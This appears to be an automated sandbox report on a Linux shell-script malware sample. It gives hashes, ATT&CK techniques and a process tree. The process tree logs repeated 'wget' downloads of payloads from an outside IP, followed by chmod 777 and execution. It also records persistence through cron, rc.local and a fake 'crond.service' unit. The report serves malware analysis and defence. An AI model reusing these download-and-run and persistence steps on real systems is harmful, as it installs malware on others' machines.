49953426505129ac957c0bb48791d63516d008d85d22afa711e62403cec7ed06

Analysis

max time kernel
149s
max time network
127s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/08/2026, 07:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 843B
Sample260810-h5x9ladk21
SHA256 49953426505129ac957c0bb48791d63516d008d85d22afa711e62403cec7ed06
MD5 1b33ce9f707643849044aa530815cabd
SHA1 73de854eb6bfba70167b69d85eeb91e8e3f2a0de
SHA512 9d9d6126d4b9b8833dad6ebc9616ecedaa013ca4159578a3a20e7693fbbb7e786ec95999a7772efa36d6f844330baac955489c21c1e3cd776eddb4098766f8c2
TLSH
T1B801C2D5D1505E044069949E32E756E0B831C3C7495B4FA8BFDC953DEB98E04F0B6F94
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
776	chmod
798	chmod
802	chmod
819	chmod
823	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/DjEq	778	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	DjEq
File opened for modification	/etc/crontab	DjEq

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	DjEq

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	DjEq

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/12/cmdline	DjEq
File opened for reading	/proc/821/cmdline	DjEq
File opened for reading	/proc/828/cmdline	DjEq
File opened for reading	/proc/839/exe	DjEq
File opened for reading	/proc/888/cmdline	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/563/cmdline	DjEq
File opened for reading	/proc/829/exe	DjEq
File opened for reading	/proc/840/cmdline	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/876/cmdline	DjEq
File opened for reading	/proc/894/exe	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/781/cmdline	DjEq
File opened for reading	/proc/845/exe	DjEq
File opened for reading	/proc/861/exe	DjEq
File opened for reading	/proc/278/cmdline	DjEq
File opened for reading	/proc/863/cmdline	DjEq
File opened for reading	/proc/895/cmdline	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/664/exe	DjEq
File opened for reading	/proc/1/cmdline	DjEq
File opened for reading	/proc/323/cmdline	DjEq
File opened for reading	/proc/804/cmdline	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/639/cmdline	DjEq
File opened for reading	/proc/794/exe	DjEq
File opened for reading	/proc/811/cmdline	DjEq
File opened for reading	/proc/833/exe	DjEq
File opened for reading	/proc/850/exe	DjEq
File opened for reading	/proc/886/cmdline	DjEq
File opened for reading	/proc/284/exe	DjEq
File opened for reading	/proc/96/cmdline	DjEq
File opened for reading	/proc/640/cmdline	DjEq
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/800/cmdline	DjEq
File opened for reading	/proc/866/exe	DjEq
File opened for reading	/proc/6/cmdline	DjEq
File opened for reading	/proc/23/cmdline	DjEq
File opened for reading	/proc/856/exe	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/10/cmdline	DjEq
File opened for reading	/proc/312/cmdline	DjEq
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/803/cmdline	DjEq
File opened for reading	/proc/827/exe	DjEq
File opened for reading	/proc/842/exe	DjEq
File opened for reading	/proc/884/cmdline	DjEq
File opened for reading	/proc/884/exe	DjEq
File opened for reading	/proc/886/exe	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/2/cmdline	DjEq
File opened for reading	/proc/stat	DjEq
File opened for reading	/proc/796/exe	DjEq
File opened for reading	/proc/826/cmdline	DjEq
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/p	p.sh
File opened for modification	/tmp/DjEq	wget

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:644
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:649
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  - Reads runtime system information
  PID:659
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  - Reads runtime system information
  PID:662
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:665
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:672
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  PID:674
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/186/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/220/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/274/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/276/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/284/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/312/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/329/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/563/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/577/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/629/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/631/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/96/exe
  2⤵
  PID:752
- /bin/rm
  rm -rf DjEq
  2⤵
  PID:753
- /usr/bin/wget
  wget http://129.121.110.105/DjEq
  2⤵
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod 777 DjEq
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/DjEq
  ./DjEq pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Reads runtime system information
  PID:778
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:796
- /bin/rm
  rm -rf 98oE
  2⤵
  PID:783
- /usr/bin/wget
  wget http://129.121.110.105/98oE
  2⤵
  PID:794
- /bin/chmod
  chmod 777 98oE
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/98oE
  ./98oE pdvr
  2⤵
  PID:799
- /bin/rm
  rm -rf 1htR
  2⤵
  PID:800
- /usr/bin/wget
  wget http://129.121.110.105/1htR
  2⤵
  PID:801
- /bin/chmod
  chmod 777 1htR
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/1htR
  ./1htR pdvr
  2⤵
  PID:808
- /bin/rm
  rm -rf 2EUE
  2⤵
  PID:810
- /usr/bin/wget
  wget http://129.121.110.105/2EUE
  2⤵
  PID:816
- /bin/chmod
  chmod 777 2EUE
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/2EUE
  ./2EUE pdvr
  2⤵
  PID:820
- /bin/rm
  rm -rf cCf
  2⤵
  PID:821
- /usr/bin/wget
  wget http://129.121.110.105/cCf
  2⤵
  PID:822
- /bin/chmod
  chmod 777 cCf
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/cCf
  ./cCf pdvr
  2⤵
  PID:824
- /bin/rm
  rm -rf p
  2⤵
  PID:825

/bin/systemctl
systemctl daemon-reload
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:795

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 e113d5b0f5a1b17d3fb1813bc5244002fb5befa7ab540e431583e3d8f0aceccc
MD5 b4f9414e0df2063525461e0a1674ef98
SHA1 f9bc25a72321c01390348e95b32c796083bf1801
SHA512 2362ffc8830692df23a844e9c2790e100bfcea433060ceff3e9dc3c989d85535253151b90417242a3400f6d68ea9cb08b469371aeee7f43116055d4486badcd1
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 c64078e2390d9a49dd0ebc569733ec5925df93e4fd97c25cb0c83fc888826f94
MD5 9f03fb826f26d3720ed51e902045488b
SHA1 843d647592cf2f92fced6a5263fd99b997781a52
SHA512 e3051eba658e47e11b7d6a27e7d9c4d41f486b3d0331be875a10f822f56bd3da8d735e6b87c4e57858424d1bcac60841662b0f0995b83078c49de7849a14fd94
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 a4a1ea33cdcc6983cfafaed95d55be1301d3f66299c8e3d3d62302ab912e99c4
MD5 579bfd3ffce0d133fc35129187cf7b31
SHA1 46e66affad8225d9e81ae3e749014845af0971a5
SHA512 3f13cc83bd43f72e900af5f0d73dbe6fd044c2c5c2d45a50df8d7003c323a16c33901f4083b11c401dbfbca63977270750b1a1db38af0b40e02add1748972091
TLSH
T197C02223D46114A1894F39A2AEE32B848DA102004ACF92B80BC019292DE24E75131DAE
MD5 SHA1 SHA512 TLSH

Submit Download

DjEq

Path /tmp/DjEq
Size 73KB
SHA256 0017ec0b36f0a10e37951329126e28d8bf03030124de8001061ee3c9193b4481
MD5 9fdc50e844e1376a149c0ec2ec6ba1d7
SHA1 ac5e1786710ca349f5b0fbbe353de44215e40a14
SHA512 77f4e7dfbc3988ed42b2a5ce6a9a5cbefd5b83cfb753cdd84a68163609c2a5d263a3205c551e32f41ab9297cb58a2468d938f950b1804dad3b9a84d8b315d01c
SSDEEP 1536:tg77nl5e+mgYUkOTWN+WfKu8TGp/kYvQnMOZcnESFqE20XgQN:tg77log06WN9fKu8TG9rQMQ0ESFqE2Yg
TLSH
T1D4733919B9519F1BC2C21637FF2E8349331723A8E3DB7203DE15AF55339B62A0E2A455
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads